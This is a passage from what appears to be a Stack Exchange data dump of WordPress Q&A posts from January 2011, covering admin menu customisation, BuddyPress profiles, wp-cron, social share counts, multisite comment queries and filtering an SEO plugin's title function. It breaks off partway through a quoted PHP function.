{&#xA;          $submenu[$slug] = array();&#xA;        }&#xA;      }&#xA;&#xA;       // Remove the Submenus for each menu&#xA;      unset($submenu['index.php']);&#xA;      unset($submenu['edit.php?post_type=article']);&#xA;      unset($submenu['edit.php?post_type=event']);&#xA;      unset($submenu['edit.php?post_type=case_study']);&#xA;      unset($submenu['edit.php?post_type=news_item']);&#xA;      unset($submenu['edit.php?post_type=transaction']);&#xA;      unset($submenu['edit.php?post_type=page']);&#xA;      unset($submenu['upload.php']);&#xA;&#xA;      unset($submenu['users.php'][13]); // Removed the &quot;Add New&quot;&#xA;&#xA;      $remove = array_flip(array(&#xA;        'edit.php',&#xA;        'link-manager.php',&#xA;        'edit-comments.php',&#xA;        'edit.php?post_type=microsite-page',&#xA;      ));&#xA;      if (!current_user_can('manage_tools'))&#xA;        $remove['tools.php'] = count($remove);&#xA;&#xA;      foreach($menu as $index =&amp;gt; $menu_page) {&#xA;        if (isset($remove[$menu_page[2]])) {&#xA;          unset($submenu[$menu_page[2]]);&#xA;          unset($menu[$index]);&#xA;        }&#xA;      }&#xA;&#xA;      $move = array(&#xA;        'edit.php?post_type=page' =&amp;gt; array( 'move-to' =&amp;gt; 35,  0 =&amp;gt; 'Other Pages' ),&#xA;        'separator2' =&amp;gt; array( 'move-to' =&amp;gt; 40 ),&#xA;        'upload.php' =&amp;gt; array( 'move-to' =&amp;gt; 50, 0 =&amp;gt; 'Media Library' ),&#xA;      );&#xA;      $add = array();&#xA;      foreach($menu as $index =&amp;gt; $menu_page) {&#xA;        if (isset($move[$menu_page[2]])) {&#xA;          foreach($move[$menu_page[2]] as $value_index =&amp;gt; $value) {&#xA;            if ($value_index==='move-to') {&#xA;              $move_to = $value;&#xA;            } else {&#xA;              $menu_page[$value_index] = $value;&#xA;            }&#xA;          }&#xA;          $add[$move_to] = $menu_page;&#xA;          unset($menu[$index]);&#xA;        }&#xA;      }&#xA;      foreach($add as $index =&amp;gt; $value)&#xA;        $menu[$index] = $value;&#xA;&#xA;      add_menu_page(&#xA;        'Attorney Positions',&#xA;        'Attorney Positions',&#xA;        'edit_posts',&#xA;        'edit-tags.php?taxonomy=attorney-position&amp;amp;amp;post_type=attorney',&#xA;        false,&#xA;        false,&#xA;        55);&#xA;&#xA;      ksort($menu); // Need to sort or it doesn't come out right.&#xA;    }&#xA;    static function init() {&#xA;      register_post_type('attorney',array(&#xA;        'label'           =&amp;gt; 'Attorneys',&#xA;        'public'          =&amp;gt; true,&#xA;      ));&#xA;      register_post_type('practice_area',array(&#xA;        'label'           =&amp;gt; 'Practice Areas',&#xA;        'public'          =&amp;gt; true,&#xA;      ));&#xA;      register_taxonomy('attorney-position','attorney',array(&#xA;        'label'=&amp;gt;'Attorney Positions',&#xA;      ));&#xA;      register_post_type('article',array(&#xA;        'label'           =&amp;gt; 'Articles &amp;amp; Presentations',&#xA;        'public'          =&amp;gt; true,&#xA;      ));&#xA;      register_post_type('case_study',array(&#xA;        'label'           =&amp;gt; 'Case Studies',&#xA;        'public'          =&amp;gt; true,&#xA;      ));&#xA;      register_post_type('news_item',array(&#xA;        'label'           =&amp;gt; 'Firm News',&#xA;        'public'          =&amp;gt; true,&#xA;      ));&#xA;      register_post_type('event',array(&#xA;        'label'           =&amp;gt; 'Events',&#xA;        'public'          =&amp;gt; true,&#xA;      ));&#xA;      register_post_type('transaction',array(&#xA;        'label'           =&amp;gt; 'Transactions',&#xA;        'public'          =&amp;gt; true,&#xA;      ));&#xA;&#xA;      // Install the test data&#xA;      $post_id = 10;&#xA;      $attorney = get_post($post_id);&#xA;      if (!$attorney) {&#xA;        global $wpdb;&#xA;        $wpdb-&amp;gt;insert($wpdb-&amp;gt;posts,array(&#xA;          'ID' =&amp;gt; $post_id,&#xA;          'post_title' =&amp;gt; 'John Smith',&#xA;          'post_type' =&amp;gt; 'attorney',&#xA;          'post_content' =&amp;gt; 'This is a post about the Attorney John Smith.',&#xA;          'post_status' =&amp;gt; 'publish',&#xA;          'post_author' =&amp;gt; 1,&#xA;        ));&#xA;      }&#xA;    }&#xA;  }&#xA;  TheGreatWordPressAdminMenuChallenge::on_load();&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To all who read this, I'm really hoping you can help.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance.&lt;/p&gt;&#xA;&#xA;&#xA;" OwnerUserId="89" LastEditorUserId="46" LastEditorDisplayName="" LastEditDate="2011-04-18T18:43:30.023" LastActivityDate="2011-04-18T18:43:30.023" Title="The Great WordPress Admin Menu Challenge of Jan 2011 (a.k.a. How to Resolve Some Challenges when Modifying the WordPress Admin Menu System?)" Tags="&lt;admin-menu&gt;&lt;challenge&gt;" AnswerCount="3" CommentCount="3" FavoriteCount="7" />
  <row Id="7030" PostTypeId="1" AcceptedAnswerId="7032" CreationDate="2011-01-15T06:37:47.663" Score="0" ViewCount="101" Body="&lt;p&gt;My question is actually quite simple, but I think there are a number of answers to choose from:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;If one were to use WordPress, what would be the most elegant way of creating a part of the website that has &quot;People Profiles&quot;, whereby; they can update their own mini-blog, add images, assign them a multitude of taxonomies, etc. (basically having a very light version of Facebook functionality plus some e-commerce products specific to the person). Scalability would obviously be key too, would need to work for 10, 100, 1000+ profiles.&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think my first instinct would be to try and go with BuddyPress as a support application from which these profiles would originate, but there are possibly other solutions?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;What do you think?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you!&lt;/p&gt;&#xA;" OwnerUserId="2393" LastActivityDate="2011-01-15T09:30:28.920" Title="How-to leverage WordPess for creating Extended Social Profiles" Tags="&lt;custom-post-types&gt;&lt;custom-taxonomy&gt;&lt;buddypress&gt;&lt;facebook&gt;&lt;profiling&gt;" AnswerCount="2" />
  <row Id="7032" PostTypeId="2" ParentId="7030" CreationDate="2011-01-15T09:14:09.223" Score="3" ViewCount="" Body="&lt;p&gt;You can accomplish that with:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;a regular instal of WordPress but&#xA;with a lot of work and hacking around&#xA;to get it where you want.&lt;/li&gt;&#xA;&lt;li&gt;a multisite install of WordPress that&#xA;would make it a bit easier but still&#xA;a lot of work and customization.&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;a fairly easy case with BuddyPress.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it just installing BuddyPress ,some plugins and configuring it a bit not only the profiles but also the mini-blogs,multitude of taxonomies,images and e-commerce products specific to the person. its just for that.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;So I'd say your best of with BuddyPress, and why not?&lt;/p&gt;&#xA;" OwnerUserId="2487" LastActivityDate="2011-01-15T09:14:09.223" />
  <row Id="7033" PostTypeId="2" ParentId="7030" CreationDate="2011-01-15T09:30:28.920" Score="3" ViewCount="" Body="&lt;p&gt;Yes, try BuddyPress. BuddyPress allows extended profiles, plus your members can write their own blogs.&lt;/p&gt;&#xA;" OwnerUserId="2374" LastActivityDate="2011-01-15T09:30:28.920" />
  <row Id="7034" PostTypeId="2" ParentId="7029" CreationDate="2011-01-15T12:07:07.333" Score="0" ViewCount="" Body="&lt;p&gt;If your client is paying you to do this work, are you offering to pay whoever solves it for you a commission? Just curious. If Automattic asked people to solve coding problems gratis on private revenue-generating projects that aren't being redistributed for free, we'd get a lot of negative backlash for it.&lt;/p&gt;&#xA;" LastActivityDate="2011-01-15T12:07:07.333" CommentCount="12" />
  <row Id="7036" PostTypeId="2" ParentId="7010" CreationDate="2011-01-15T13:43:24.137" Score="0" ViewCount="" Body="&lt;p&gt;Do you mean calendar week or rolling week (previous seven days) ? How many posts are we talking about?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'd try something like this:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;Create wp-cron task.&lt;/li&gt;&#xA;&lt;li&gt;In cron select posts that qualify for timeframe display and have missing/outdated stats.&lt;/li&gt;&#xA;&lt;li&gt;Query APIs and save stats and time of check (to check if stats are outdated in previous step) in custom meta fields.&lt;/li&gt;&#xA;&lt;li&gt;On front end query for wanted and sort by stats custom field.&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;&#xA;&lt;p&gt;This is just one of many ways to do it, it depends a lot on how likely you are to stress out API - the faster you are running out of available requests the more logic and caching you need to consider and implement.&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-15T13:43:24.137" />
  <row Id="7037" PostTypeId="2" ParentId="7012" CreationDate="2011-01-15T13:58:14.223" Score="2" ViewCount="" Body="&lt;p&gt;&lt;a href=&quot;http://core.trac.wordpress.org/browser/tags/3.0.4/wp-includes/cron.php#L195&quot; rel=&quot;nofollow&quot;&gt;cron.php#195&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$flag = get_transient('doing_cron');&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If transient is past expiration time then during this call it will be unset and &lt;code&gt;false&lt;/code&gt; returned.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I usually rely on wp cron, so have no experience to advise you on handling this (for multisite on top).&lt;/p&gt;&#xA;" OwnerUserId="847" LastActivityDate="2011-01-15T13:58:14.223" CommentCount="1" />
  <row Id="7039" PostTypeId="1" CreationDate="2011-01-15T16:44:16.580" Score="0" ViewCount="133" Body="&lt;p&gt;I have a client that is asking for &quot;facebook-like-link-posting&quot; on the backend of the Wordpress site, where his colleagues can post links to stories.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;http://i.stack.imgur.com/QPhjr.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;My client also wants the front-end to display these stories stacked up (most likely as really short blog posts).&lt;br&gt;&#xA;&lt;img src=&quot;http://i.stack.imgur.com/eqMAd.png&quot; alt=&quot;alt text&quot;&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there a plugin for Wordpress that allows for this sort of thing?  It almost seems to me that something like this would require CURL to be installed since the plugin would have to scan for text as well as images.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Or a plugin that supports blog-post-templates that would allow you to fill in fields?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I think even a social-bookmarking site with an appropriate widget for Wordpress might do the trick in this case, so I just wondered if anyone had any suggestions for such a plugin?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Even a plugin that would slurp posted links directly from a Facebook account would probably do the trick.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is there anything like this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;P.S. Can someone with a higher rep please tag this social-bookmarking ?&lt;/p&gt;&#xA;" OwnerUserId="304" LastActivityDate="2011-01-15T16:44:16.580" Title="Plugin for Facebook-like-link-posting on the backend?" Tags="&lt;links&gt;&lt;facebook&gt;&lt;twitter&gt;&lt;urls&gt;" CommentCount="1" />
  <row Id="7040" PostTypeId="2" ParentId="7017" CreationDate="2011-01-15T17:33:59.203" Score="2" ViewCount="" Body="&lt;p&gt;STC does not have a signup/register function, because Twitter doesn't provide any API to get an email for the user. So the signup process has no way to email the user with valid information like password and such.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you have a better way/workflow/design/idea to do it, then I'd be happy to add it to Simple Twitter Connect.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-01-15T17:33:59.203" CommentCount="2" />
  <row Id="7041" PostTypeId="2" ParentId="7002" CreationDate="2011-01-15T17:38:58.483" Score="6" ViewCount="" Body="&lt;pre&gt;&lt;code&gt;function is_php4(){&#xA;  return version_compare(phpversion(),'5','&amp;lt;');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="2232" LastEditorUserId="2232" LastEditorDisplayName="" LastEditDate="2011-01-16T02:43:08.167" LastActivityDate="2011-01-16T02:43:08.167" />
  <row Id="7042" PostTypeId="2" ParentId="7012" CreationDate="2011-01-15T17:44:02.830" Score="3" ViewCount="" Body="&lt;p&gt;Transients expire on their own. No need to unset them.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;And to call wp-cron manually is simple. Just define DISABLE_WP_CRON to true in the wp-config file to disable the normal cron spawning process. Then make your cron system hit wp-cron.php manually every so often to process pending jobs.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There is no other special trick that you need to do. No need to fool around with transients or special coding.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-01-15T17:44:02.830" CommentCount="1" />
  <row Id="7043" PostTypeId="2" ParentId="7010" CreationDate="2011-01-15T17:57:29.323" Score="4" ViewCount="" Body="&lt;p&gt;This is a bit of a multi-part question, so you're getting a multi-part answer.&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Getting the Facebook count can be done by making a request to &lt;a href=&quot;https://graph.facebook.com/URL&quot; rel=&quot;nofollow&quot;&gt;https://graph.facebook.com/URL&lt;/a&gt;. This will return a json object which contains, among other things, the number of &quot;shares&quot;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Working example which has 4 shares as of this writing: &lt;a href=&quot;https://graph.facebook.com/http://ottopress.com/2011/wp-quickie-adding-chrome-voice-search/&quot; rel=&quot;nofollow&quot;&gt;https://graph.facebook.com/http://ottopress.com/2011/wp-quickie-adding-chrome-voice-search/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Getting the Twitter count can be done through an undocumented API call, which I documented here: &lt;a href=&quot;http://ottopress.com/2010/twitters-new-tweet-button-and-the-count-api/&quot; rel=&quot;nofollow&quot;&gt;http://ottopress.com/2010/twitters-new-tweet-button-and-the-count-api/&lt;/a&gt;.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;One thing I didn't document there was that if you leave the callback parameter blank, you get back a json object without the JSONP callback stuff.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Working example which has 29 twitter count as of this writing: &lt;a href=&quot;http://urls.api.twitter.com/1/urls/count.json?callback=&amp;amp;url=http://ottopress.com/2011/wp-quickie-adding-chrome-voice-search/&quot; rel=&quot;nofollow&quot;&gt;http://urls.api.twitter.com/1/urls/count.json?callback=&amp;amp;url=http://ottopress.com/2011/wp-quickie-adding-chrome-voice-search/&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;Now that you have those URLs, you need to write some functions to periodically get them for each of your posts (presumably in the last week) and to then store that data in a postmeta field. You can use a wp-cron job or transients for their expiration times. Either way.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Once you have the data, and have stored it in a postmeta for each post in question, then selecting based on it is a matter of using the meta_key in the post query, along with an orderby=meta_value_num parameter. This will allow you to select posts and order them by the value you're storing in the postmeta.&lt;/p&gt;&#xA;" OwnerUserId="2232" LastActivityDate="2011-01-15T17:57:29.323" CommentCount="2" />
  <row Id="7044" PostTypeId="2" ParentId="7014" CreationDate="2011-01-15T18:33:51.310" Score="2" ViewCount="" Body="&lt;p&gt;Ok, I did some research based on &lt;a href=&quot;http://wordpress.stackexchange.com/users/2487/&quot;&gt;בניית אתרים&lt;/a&gt;'s solution here, as I'm interested in this too. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;First you need to get a list of blog IDs, and &lt;code&gt;get_blog_list()&lt;/code&gt; is deprecated because it seems to be a &quot;&lt;a href=&quot;http://wordpress.org/support/topic/suicidal-multisite-database-queries&quot; rel=&quot;nofollow&quot;&gt;suicidal database query&lt;/a&gt;&quot; :) Anyway looks like there will be a alternative in WP 3.2 called &lt;a href=&quot;http://core.trac.wordpress.org/ticket/14511&quot; rel=&quot;nofollow&quot;&gt;wp_get_sites()&lt;/a&gt;. So use &lt;a href=&quot;http://core.trac.wordpress.org/attachment/ticket/14511/wp-get-sites.php&quot; rel=&quot;nofollow&quot;&gt;this&lt;/a&gt; function instead. I suggest you pass the &lt;code&gt;'sort_column =&amp;gt; 'last_updated'&lt;/code&gt; argument, and &lt;code&gt;'limit'&lt;/code&gt; the results to 20 or something like that. This would make the next query much faster.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;global $wpdb;&#xA;$number = 20; // maximum number of comments to display&#xA;$selects = array();&#xA;foreach (wp_get_sites() as $blog)&#xA;   // select only the fields you need here!&#xA;   $selects[] = &quot;(SELECT comment_post_ID, comment_author, comment_author_email, comment_date_gmt, comment_content, post_title, {$blog['blog_id']} as blog_id FROM {$wpdb-&amp;gt;base_prefix}{$blog['blog_id']}_comments&#xA;      LEFT JOIN {$wpdb-&amp;gt;base_prefix}{$blog['blog_id']}_posts&#xA;      ON comment_post_id = id&#xA;      WHERE post_status = 'publish'&#xA;        AND post_password = ''&#xA;        AND comment_approved = '1'&#xA;        AND comment_type = ''&#xA;       ORDER BY comment_date_gmt DESC LIMIT {$number})&quot;; // real number is (number * # of blogs)&#xA;&#xA;  $comments = $wpdb-&amp;gt;get_results(implode(&quot; UNION ALL &quot;, $selects).&quot; ORDER BY comment_date_gmt DESC&quot;, OBJECT);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Then render the output:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;ul&amp;gt;&#xA;&amp;lt;?php&#xA;$count = 0;&#xA;foreach((array)$comments as $comment):&#xA;  $count++;&#xA;  if($count == $number+1) break; &#xA;  ?&amp;gt;&#xA;  &amp;lt;li&amp;gt;&#xA;   &amp;lt;?php echo get_avatar($comment-&amp;gt;comment_author_email, 32); ?&amp;gt;&#xA;   &amp;lt;a href=&quot;&amp;lt;?php echo get_blog_permalink($comment-&amp;gt;blog_id, $comment-&amp;gt;comment_post_ID); ?&amp;gt;&quot; title=&quot;commented on &amp;lt;?php echo strip_tags($comment-&amp;gt;post_title); ?&amp;gt;&quot;&amp;gt;&#xA;   &amp;lt;?php echo $comment-&amp;gt;comment_author; ?&amp;gt; wrote: &#xA;   &amp;lt;?php echo convert_smilies(wp_trim_excerpt($comment-&amp;gt;comment_content)); ?&amp;gt;&#xA;   (&amp;lt;?php echo human_time_diff(strtotime(&quot;{$comment-&amp;gt;comment_date_gmt}&quot;)); ?&amp;gt;)  &#xA;   &amp;lt;/a&amp;gt;&#xA;  &amp;lt;/li&amp;gt;&#xA;&amp;lt;?php&#xA;endforeach;&#xA;?&amp;gt;&#xA;&amp;lt;/ul&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You should also cache the results, and flush the cache like once every 10 minutes or so.&lt;/p&gt;&#xA;" OwnerUserId="1986" LastActivityDate="2011-01-15T18:33:51.310" CommentCount="1" />
  <row Id="7045" PostTypeId="2" ParentId="6969" CreationDate="2011-01-15T18:56:50.820" Score="0" ViewCount="" Body="&lt;p&gt;If what you're doing is just basic theme settings that don't require a lot of programming customization, and you want to get it up and running fast, I would recommend just including &lt;a href=&quot;http://code.google.com/p/cheezcap/&quot; rel=&quot;nofollow&quot;&gt;cheezcap&lt;/a&gt; or another theme options framework...&lt;/p&gt;&#xA;" OwnerUserId="290" LastActivityDate="2011-01-15T18:56:50.820" />
  <row Id="7046" PostTypeId="1" CreationDate="2011-01-15T20:28:17.693" Score="1" ViewCount="241" Body="&lt;p&gt;I want to grab the two latest blog posts on my homepage. i would also like the option to select the category if I want to also, but mainly just pulling the latest 2 blog posts.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" LastActivityDate="2011-07-05T22:28:35.330" Title="How to pull blogposts using shortcodes" Tags="&lt;posts&gt;" AnswerCount="3" FavoriteCount="1" />
  <row Id="7047" PostTypeId="1" AcceptedAnswerId="7050" CreationDate="2011-01-15T20:45:58.480" Score="1" ViewCount="60" Body="&lt;p&gt;Can add_filter() be used to intercept a plugin function?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not having any success, so I'm thinking perhaps I'm doing this wrong.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The plugin is &quot;All in One SEO&quot; and the function I'm trying to intercept is in the All_in_One_SEO_Pack class and its called get_original_title()&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here's the code I'm trying to intercept...specifically, when the is_404() method is called...&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class All_in_One_SEO_Pack {&#xA;&#xA;function rewrite_title($header) {&#xA;    global $aioseop_options;&#xA;    global $wp_query;&#xA;    if (!$wp_query) {&#xA;        $header .= &quot;&amp;lt;!-- no wp_query found! --&amp;gt;\n&quot;;&#xA;        return $header; &#xA;    }&#xA;&#xA;    $post = $wp_query-&amp;gt;get_queried_object();&#xA;&#xA;    // the_search_query() is not suitable, it cannot just return&#xA;    global $s;&#xA;&#xA;    global $STagging;&#xA;&#xA;    if (is_home() &amp;amp;&amp;amp; !$this-&amp;gt;is_static_posts_page()) {&#xA;        $title = $this-&amp;gt;internationalize($aioseop_options['aiosp_home_title']);&#xA;        if (empty($title)) {&#xA;            $title = $this-&amp;gt;internationalize(get_option('blogname'));&#xA;        }&#xA;        $title = $this-&amp;gt;paged_title($title);&#xA;        $header = $this-&amp;gt;replace_title($header, $title);&#xA;    } else if (is_attachment()) { &#xA;                        $title = get_the_title($post-&amp;gt;post_parent).' '.$post-&amp;gt;post_title.' – '.get_option('blogname');&#xA;                        $header = $this-&amp;gt;replace_title($header,$title);&#xA;    } else if (is_single()) {&#xA;        // we're not in the loop :(&#xA;        $authordata = get_userdata($post-&amp;gt;post_author);&#xA;        $categories = get_the_category();&#xA;        $category = '';&#xA;        if (count($categories) &amp;gt; 0) {&#xA;            $category = $categories[0]-&amp;gt;cat_name;&#xA;        }&#xA;        $title = $this-&amp;gt;internationalize(get_post_meta($post-&amp;gt;ID, &quot;_aioseop_title&quot;, true));&#xA;        if (!$title) {&#xA;            $title = $this-&amp;gt;internationalize(get_post_meta($post-&amp;gt;ID, &quot;title_tag&quot;, true));&#xA;            if (!$title) {&#xA;                $title = $this-&amp;gt;internationalize(wp_title('', false));&#xA;            }&#xA;        }&#xA;        $title_format = $aioseop_options['aiosp_post_title_format'];&#xA;        /*&#xA;        $new_title = str_replace('%blog_title%', $this-&amp;gt;internationalize(get_bloginfo('name')), $title_format);&#xA;        $new_title = str_replace('%blog_description%', $this-&amp;gt;internationalize(get_bloginfo('description')), $new_title);&#xA;        $new_title = str_replace('%post_title%', $title, $new_title);&#xA;        $new_title = str_replace('%category%', $category, $new_title);&#xA;        $new_title = str_replace('%category_title%', $category, $new_title);&#xA;        $new_title = str_replace('%post_author_login%', $authordata-&amp;gt;user_login, $new_title);&#xA;        $new_title = str_replace('%post_author_nicename%', $authordata-&amp;gt;user_nicename, $new_title);&#xA;        $new_title = str_replace('%post_author_firstname%', ucwords($authordata-&amp;gt;first_name), $new_title);&#xA;        $new_title = str_replace('%post_author_lastname%', ucwords($authordata-&amp;gt;last_name), $new_title);&#xA;        */&#xA;        $r_title = array('%blog_title%','%blog_description%','%post_title%','%category%','%category_title%','%post_author_login%','%post_author_nicename%','%post_author_firstname%','%post_author_lastname%');&#xA;        $d_title = array($this-&amp;gt;internationalize(get_bloginfo('name')),$this-&amp;gt;internationalize(get_bloginfo('description')),$title, $category, $category, $authordata-&amp;gt;user_login, $authordata-&amp;gt;user_nicename, ucwords($authordata-&amp;gt;first_name), ucwords($authordata-&amp;gt;last_name));&#xA;        $title = trim(str_replace($r_title, $d_title, $title_format));&#xA;&#xA;//      $title = $new_title;&#xA;//      $title = trim($title);&#xA;        $title = apply_filters('aioseop_title_single',$title);&#xA;        $header = $this-&amp;gt;replace_title($header, $title);&#xA;    } else if (is_search() &amp;amp;&amp;amp; isset($s) &amp;amp;&amp;amp; !empty($s)) {&#xA;        if (function_exists('attribute_escape')) {&#xA;            $search = attribute_escape(stripcslashes($s));&#xA;        } else {&#xA;            $search = wp_specialchars(stripcslashes($s), true);&#xA;        }&#xA;        $search = $this-&amp;gt;capitalize($search);&#xA;        $title_format = $aioseop_options['aiosp_search_title_format'];&#xA;        $title = str_replace('%blog_title%', $this-&amp;gt;internationalize(get_bloginfo('name')), $title_format);&#xA;        $title = str_replace('%blog_description%', $this-&amp;gt;internationalize(get_bloginfo('description')), $title);&#xA;        $title = str_replace('%search%', $search, $title);&#xA;        $header = $this-&amp;gt;replace_title($header, $title);&#xA;    } else if (is_category() &amp;amp;&amp;amp; !is_feed()) {&#xA;        $category_description = $this-&amp;gt;internationalize(category_description());&#xA;            if($aioseop_options['aiosp_cap_cats']){&#xA;                $category_name = ucwords($this-&amp;gt;internationalize(single_cat_title('', false)));&#xA;            }else{&#xA;                    $category_name = $this-&amp;gt;internationalize(single_cat_title('', false));&#xA;            }           &#xA;        //$category_name = ucwords($this-&amp;gt;internationalize(single_cat_title('', false)));&#xA;        $title_format = $aioseop_options['aiosp_category_title_format'];&#xA;        $title = str_replace('%category_title%', $category_name, $title_format);&#xA;        $title = str_replace('%category_description%', $category_description, $title);&#xA;        $title = str_replace('%blog_title%', $this-&amp;gt;internationalize(get_bloginfo('name')), $title);&#xA;        $title = str_replace('%blog_description%', $this-&amp;gt;internationalize(get_bloginfo('description')), $title);&#xA;        $title = $this-&amp;gt;paged_title($title);&#xA;        $header = $this-&amp;gt;replace_title($header, $title);&#xA;    } else if (is_page() || $this-&amp;gt;is_static_posts_page()) {&#xA;        // we're not in the loop :(&#xA;        $authordata = get_userdata($post-&amp;gt;post_author);&#xA;        if ($this-&amp;gt;is_static_front_page()) {&#xA;            if ($this-&amp;gt;internationalize($aioseop_options['aiosp_home_title'])) {&#xA;&#xA;                        //home title filter&#xA;                        $home_title = $this-&amp;gt;internationalize($aioseop_options['aiosp_home_title']);&#xA;                        $home_title = apply_filters('aioseop_home_page_title',$home_title);&#xA;                        $header = $this-&amp;gt;replace_title($header, $home_title);&#xA;&#xA;            }&#xA;        } else {&#xA;            $title = $this-&amp;gt;internationalize(get_post_meta($post-&amp;gt;ID, &quot;_aioseop_title&quot;, true));&#xA;            if (!$title) {&#xA;                $title = $this-&amp;gt;internationalize(wp_title('', false));&#xA;            }&#xA;            $title_format = $aioseop_options['aiosp_page_title_format'];&#xA;            $new_title = str_replace('%blog_title%', $this-&amp;gt;internationalize(get_bloginfo('name')), $title_format);&#xA;            $new_title = str_replace('%blog_description%', $this-&amp;gt;internationalize(get_bloginfo('description')), $new_title);&#xA;            $new_title = str_replace('%page_title%', $title, $new_title);&#xA;            $new_title = str_replace('%page_author_login%', $authordata-&amp;gt;user_login, $new_title);&#xA;            $new_title = str_replace('%page_author_nicename%', $authordata-&amp;gt;user_nicename, $new_title);&#xA;            $new_title = str_replace('%page_author_firstname%', ucwords($authordata-&amp;gt;first_name), $new_title);&#xA;            $new_title = str_replace('%page_author_lastname%', ucwords($authordata-&amp;gt;last_name), $new_title);&#xA;            $title = trim($new_title);&#xA;                            $title = $this-&amp;gt;paged_title($title);&#xA;            $title = apply_filters('aioseop_title_page',$title);&#xA;            $header = $this-&amp;gt;replace_title($header, $title);&#xA;        }&#xA;    } else if (function_exists('is_tag') &amp;amp;&amp;amp; is_tag()) {&#xA;        global $utw;&#xA;        if ($utw) {&#xA;            $tags = $utw-&amp;gt;GetCurrentTagSet();&#xA;            $tag = $tags[0]-&amp;gt;tag;&#xA;            $tag = str_replace('-', ' ', $tag);&#xA;        } else {&#xA;            // wordpress &amp;gt; 2.3&#xA;            $tag = $this-&amp;gt;internationalize(wp_title('', false));&#xA;        }&#xA;        if ($tag) {&#xA;            $tag = $this-&amp;gt;capitalize($tag);&#xA;            $title_format = $aioseop_options['aiosp_tag_title_format'];&#xA;            $title = str_replace('%blog_title%', $this-&amp;gt;internationalize(get_bloginfo('name')), $title_format);&#xA;            $title = str_replace('%blog_description%', $this-&amp;gt;internationalize(get_bloginfo('description')), $title);&#xA;            $title = str_replace('%tag%', $tag, $title);&#xA;            $title = $this-&amp;gt;paged_title($title);&#xA;            $header = $this-&amp;gt;replace_title($header, $title);&#xA;        }&#xA;    } else if (isset($STagging) &amp;amp;&amp;amp; $STagging-&amp;gt;is_tag_view()) { // simple tagging support&#xA;        $tag = $STagging-&amp;gt;search_tag;&#xA;        if ($tag) {&#xA;            $tag = $this-&amp;gt;capitalize($tag);&#xA;            $title_format = $aioseop_options['aiosp_tag_title_format'];&#xA;            $title = str_replace('%blog_title%', $this-&amp;gt;internationalize(get_bloginfo('name')), $title_format);&#xA;            $title = str_replace('%blog_description%', $this-&amp;gt;internationalize(get_bloginfo('description')), $title);&#xA;            $title = str_replace('%tag%', $tag, $title);&#xA;            $title = $this-&amp;gt;paged_title($title);&#xA;            $header = $this-&amp;gt;replace_title($header, $title);&#xA;        }&#xA;    } else if (is_archive()) {&#xA;        $date = $this-&amp;gt;internationalize(wp_title('', false));&#xA;        $title_format = $aioseop_options['aiosp_archive_title_format'];&#xA;        $new_title = str_replace('%blog_title%', $this-&amp;gt;internationalize(get_bloginfo('name')), $title_format);&#xA;        $new_title = str_replace('%blog_description%', $this-&amp;gt;internationalize(get_bloginfo('description')), $new_title);&#xA;        $new_title = str_replace('%date%', $date, $new_title);&#xA;        $title = trim($new_title);&#xA;        $title = $this-&amp;gt;paged_title($title);&#xA;        $header = $this-&amp;gt;replace_title($header, $title);&#xA;    } else if (is_404()) 